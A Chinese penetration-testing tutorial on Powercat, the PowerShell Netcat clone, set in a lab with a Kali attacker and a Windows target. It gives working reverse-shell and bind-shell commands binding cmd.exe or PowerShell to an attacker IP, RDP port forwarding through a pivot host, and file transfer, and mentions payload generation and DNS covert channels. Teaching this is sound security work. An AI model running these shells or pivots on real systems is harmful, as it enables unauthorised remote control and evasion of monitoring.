Powercat PowerShell工具:原理详解+使用方法+渗透实战
目录
一、Powercat工具
1、基本参数
2、工作原理
(1) 网络流 (Stream 1)
(2)输入/输出流 (Stream 2)
3、使用指南
二、反弹Shell (Reverse Shell)渗透实战
1、攻击机 (Kali) - 监听:
2、目标机 (Windows靶机) - 连接并执行cmd
(1)绑定cmd环境
(2)绑定PowerShell环境
(3)区别
(4)解决乱码问题
三、正向Shell渗透实战
1、Windows 端启动 powercat 正向监听
2、Kali 端用 nc 连接 Windows
四、高级用法
1、端口转发
2、文件传输
本文讲解Powercat工具的原理和使用方法,包括反弹shell,正向shell,以及端口转发和传输文件的渗透实战。
一、Powercat工具
PowerCat是经典网络工具 Netcat 的 PowerShell 实现版和增强版,集成了网络连接、数据传输、反向 / 正向 Shell、端口转发等功能,因完全基于 PowerShell 脚本实现,在 Windows 环境中无需额外依赖即可运行,常被用于渗透测试和网络调试。
1、基本参数
-
-c <IP>
: 客户端模式。连接到攻击者控制的监听IP。用于反弹Shell。 -
-l
: 监听模式。在目标上开启一个端口等待连接。用于绑定Shell或端口转发。 -
-p <PORT>
: 指定端口。 -
-e <PROCESS>
: 执行。指定要启动的进程,并将其输入/输出与网络流连接。例如-e cmd.exe
。 -
-ep
: 执行PowerShell。启动一个伪PowerShell会话。 -
-r <protocol:ip:port>
: 中继模式。核心功能之一。实现端口转发。例如将本地8000端口的流量转发到10.1.1.1的9000端口:-r tcp:10.1.1.1:9000
。 -
-u
: 使用UDP协议而非TCP。 -
-dns <DOMAIN>
: 使用dnscat2
进行DNS隐蔽信道通信,绕过网络监控。 -
-i <INPUT>
: 输入。可用于文件传输(如-i file.txt
)。 -
-g
/-ge
: 生成Payload。极其重要的功能。返回一段能实现指定功能的PowerShell代码或Base64编码的命令。用于制作一句话木马或无文件攻击。
2、工作原理
powercat
的核心是一个 双向数据流中继,它在两个“流”(Stream)之间建立通道并转发数据。根据参数的不同,这两个流可以是多种东西的组合,从而实现各种功能。powercat
通过灵活组合 Stream 1 和 Stream 2,实现了极其丰富的功能。
flowchart LRA[网络流<br>Stream 1] <---> C[PowerCat<br>核心中继引擎]C <---> B[输入/输出流<br>Stream 2]subgraph A_source [Stream 1: 网络端点]direction LRA1[TCP客户端]A2[TCP服务端]A3[UDP客户端]A4[UDP服务端]A5[DNS客户端]endsubgraph B_source [Stream 2: 数据端点]direction LRB1[控制台<br>Console]B2[系统进程<br>e.g. cmd.exe]B3[PowerShell<br>引擎]B4[另一个网络中继<br>Relay]endA1 --> AA2 --> AA3 --> AA4 --> AA5 --> AB --> B1B --> B2B --> B3B --> B4
(1) 网络流 (Stream 1)
这是与外部通信的通道,可以是:
-
TCP Client/Server: 连接或监听指定IP和端口。
-
UDP Client/Server: 发送或接收UDP数据包。
-
DNS Client: 使用
dnscat2
协议通过DNS查询与服务器进行隐蔽通信。
(2)输入/输出流 (Stream 2)
这是数据处理的终点或起点,可以是:
-
Console (控制台): 与用户交互,显示收到的数据,并发送用户输入的数据。
-
Process (进程): 将一个本地进程(如
cmd.exe
)的输入/输出与网络流绑定。这就是反弹Shell的实现方式。 -
PowerShell Engine: 提供一个伪PowerShell环境,可以执行PS命令。
-
另一个 Network Relay (网络中继): 将两个网络连接起来,实现端口转发或协议转换(如TCP转DNS)。
3、使用指南
PowerCat 是一个纯 PowerShell 编写的网络工具,集成了 Netcat 的功能并增加了大量渗透测试特性。从 GitHub 仓库下载并将保存到本地,Github仓库地址如下所示。
https://github.com/besimorhino/powercat
在 PowerShell 中进入脚本所在目录,执行导入模块。
. .\powercat.ps1 # 注意两个点之间的空格
导入成功后,即可直接使用 powercat
命令,下图为执行powercat -h的效果,该命令的含义是使用 -h
参数查看完整的帮助信息。
二、反弹Shell (Reverse Shell)渗透实战
1、攻击机 (Kali) - 监听:
用于在本地主机的 4444 端口 启动一个TCP 监听器,其参数含义为:-n
禁用域名解析(仅使用IP),-v
启用详细输出(显示连接信息),-l
进入监听模式(作为服务器),-p 4444
指定监听的端口号。执行后,该终端会挂起并等待一个传入的 TCP 连接,一旦有客户端(例如受害主机)连接上来,它会立即建立一个原始的网络通信通道,通常用于接收反向Shell、进行文件传输或简单的网络调试。
nc -nvlp 4444
2、目标机 (Windows靶机) - 连接并执行cmd
(1)绑定cmd环境
假设攻击机Kali的ip地址为192.168.59.128,该命令用于在目标机器上发起反向 TCP 连接并绑定 cmd 进程。其中,-c 192.168.59.1
28指定连接的目标 IP 为 192.168.59.128,-p 4444
设定目标端口为 4444,-e cmd.exe
表示将本地的 cmd 命令行进程与该网络连接绑定。执行后,目标机器会主动连接 192.168.59.128 的 4444 端口,若对方已在该端口启动监听(如 powercat -l -p 4444
),则攻击者可通过监听窗口直接执行 cmd 命令(如查看文件、修改系统配置等),实现对目标机器的远程控制。此命令常用于渗透测试中突破防火墙出站限制,建立反向 Shell 通道。
powercat -c 192.168.59.128 -p 4444 -e cmd.exe
此时kali中已成功建立shell连接,如下所示。
(2)绑定PowerShell环境
假设攻击机Kali的ip地址为192.168.59.128,该命令用于发起反向 TCP 连接并启动伪 PowerShell 会话。其中,-c 192.168.59.1
28指定连接的目标 IP 为 192.168.59.128,-p 4444
设定目标端口为 4444;-ep
是 ExecutePowershell
的缩写,作用是将本地的 PowerShell 环境与网络连接绑定,而非普通 cmd 进程。执行后,目标机器会连接 192.168.59.128 的 4444 端口,攻击者在监听端可获得一个交互式 PowerShell 会话,支持 PowerShell 特有的命令和脚本执行(如管理 Windows 服务、操作注册表等)。相比普通 cmd 反向 Shell,该命令提供了更强大的 PowerShell 环境,适合需要利用 PowerShell 功能进行内网渗透或复杂操作的场景。
# 使用编码器(-e)执行powershell
powercat -c 192.168.59.128 -p 4444 -ep
此时kali中已成功建立shell连接,如下所示。
(3)区别
powercat -c 192.168.59.128 -p 4444 -e cmd.exe 与 powercat -c 192.168.59.128 -p 4444 -ep 两个命令的核心区别如下表所示。
对比项 | -e cmd.exe | -ep |
---|---|---|
绑定的交互环境 | Windows 传统 CMD 命令行环境 | PowerShell 脚本环境 |
支持的命令集 | 仅支持 CMD 原生命令(如 dir 、ipconfig ) | 支持 PowerShell 特有命令(如 Get-ChildItem 、Invoke-Command )及 CMD 命令 |
功能扩展能力 | 无高级脚本或模块支持,功能基础 | 可加载 PowerShell 模块、执行脚本、调用 .NET 类库,支持管道 / 对象处理 |
适用场景 | 快速获取基础命令行控制,或目标限制 PowerShell 时 | 需要复杂操作(如内网横向、注册表管理、脚本执行)的渗透场景 |
权限与特性依赖 | 不依赖 PowerShell 执行策略 | 依赖 PowerShell 执行权限,可利用其原生权限控制和扩展机制 |
(4)解决乱码问题
在kali中执行命令(无论是cmd还是powershell)时会有乱码现象,比如输入ipconfig打印如下所示,出现多个问号,乱码的根源是内容编码与控制台解码方式不一致。
chcp 65001
是 Windows 命令提示符(CMD)中的编码切换命令,作用是将当前控制台的活动代码页设置为 UTF-8 编码(代码页 65001 对应 UTF-8 标准)。执行后,控制台可正确显示或输入包含中文、日文、特殊符号等的 Unicode 字符,解决默认编码(如 GBK,代码页 936)下的字符乱码问题。
三、正向Shell渗透实战
1、Windows 端启动 powercat 正向监听
目标靶机windows系统(192.168.59.1)以管理员身份打开 PowerShell,执行以下命令。含义是在运行此命令的 Windows 机器上,打开 5555 端口进行监听。当有任何客户端(例如攻击者的机器)连接到这个端口时,目标机器会自动创建一个 cmd.exe
进程,并将其标准输入/输出重定向到网络连接上。这样,攻击者就获得了该目标机器的一个远程命令行 Shell。
# 导入 powercat 模块(假设脚本在当前目录)
. .\powercat.ps1
# 在 5555 端口启动正向监听,绑定 cmd 进程
powercat -l -p 5555 -e cmd.exe -v
参数 | 含义 | 作用 |
---|---|---|
powercat | PowerShell 版的 Netcat | 主要工具 |
-l | 监听模式 | 使目标机器等待连接 |
-p 5555 | 指定端口 5555 | 定义通信的通道 |
-e cmd.exe | 执行 cmd.exe | 提供连接成功后要交互的 Shell |
-v | 详细输出 | 显示连接状态,便于调试 |
2、Kali 端用 nc 连接 Windows
打开攻击机 Kali (192.168.59.128)终端,执行以下命令。
nc -vv 192.168.59.1 5555
-
nc
: 这是 Netcat 的命令,被称为网络工具的“瑞士军刀”。它用于读写网络连接。在这个语境中,它被用作客户端来发起一个 TCP 连接。 -
-vv
(或-v -v
)**: 非常详细 (Very Verbose) 模式。-
第一个
-v
会输出一些基本连接信息。 -
第二个
-v
会提供更详细的调试信息,例如尝试连接的详细过程。 -
使用
-vv
可以让你清楚地看到连接是否成功、在哪里失败,非常适合调试。
-
-
192.168.59.1
: 这是 目标机器的 IP 地址。这是命令中最关键的部分,它告诉nc
要去连接哪一台计算机。-
在这个例子中,
192.168.59.1
就是运行了powercat -l -p 5555 -e cmd.exe
的那台机器(受害者或目标服务器)。
-
-
5555
: 这是 目标端口。它指定了要连接的目标机器上的哪个端口。-
这个端口必须与目标机器上 powercat 监听器所使用的端口(
-p 5555
)完全一致,连接才能成功。
-
此时查看kali,从攻击者当前所在的机器kali,向 IP 地址为 192.168.59.1
的机器的 5555
端口发起一个 TCP 网络连接。如下所示连接成功,攻击者就会获得一个与目标机器 cmd.exe
交互的 Shell。
这时会看受害目标靶机,效果如下所示,连接建立成功。
四、高级用法
1、端口转发
如下命令用于在跳板机本地启动端口转发,实现将本机 8000 端口的流量转发到目标主机的 RDP 端口,具体如下所示。
# 监听本机8000端口,将所有流量转发到192.168.2.10的3389端口(RDP)
powercat -l -p 8000 -r tcp:192.168.2.10:3389 -v
-l -p 8000
:在本机的 8000 端口启动监听模式,接收外部发送到 8000 端口的流量。-r tcp:192.168.2.10:3389
:将监听端口(8000)接收的所有流量,通过 TCP 协议转发到目标主机192.168.2.10
的 3389 端口(RDP 远程桌面默认端口)。-v
:启用详细输出模式,显示连接建立、数据转发等过程信息,方便调试和确认转发状态。
执行后,外部设备连接本机 8000 端口的流量会被自动转发到 192.168.2.10:3389
,可间接实现对目标主机的 RDP 远程访问(需目标主机开启 RDP 服务)。也就是说,攻击者连接 跳板机IP:8000
就等于连接了内网主机 192.168.2.10:3389。
2、文件传输
使用 powercat 进行文件传输可通过 “监听端接收 + 客户端发送” 的模式实现,支持 TCP 协议,操作简单且无需额外工具。场景:从机器 A(发送方)向机器 B(接收方)传输文件,如下所示。
- 接收方(机器 B)IP:
192.168.1.100
,监听端口:8888
- 发送方(机器 A)需传输的文件:
C:\data\file.txt
步骤 1:在接收方(机器 B)启动监听并准备接收文件
powercat -l -p 8888 -of C:\received\output.txt -v
-l -p 8888
:在 8888 端口启动监听-of C:\received\output.txt
:将接收的内容保存到指定文件(需确保路径存在)-v
:显示详细传输信息(可选)
步骤 2:在发送方(机器 A)连接并发送文件
powercat -c 192.168.1.100 -p 8888 -if C:\data\file.txt -v
-c 192.168.1.100 -p 8888
:连接接收方的 IP 和端口-if C:\data\file.txt
:指定要发送的文件路径-v
:显示传输进度(可选)
传输完成后,在接收方的 C:\received\output.txt
中查看文件内容,确认与发送方的 file.txt
一致。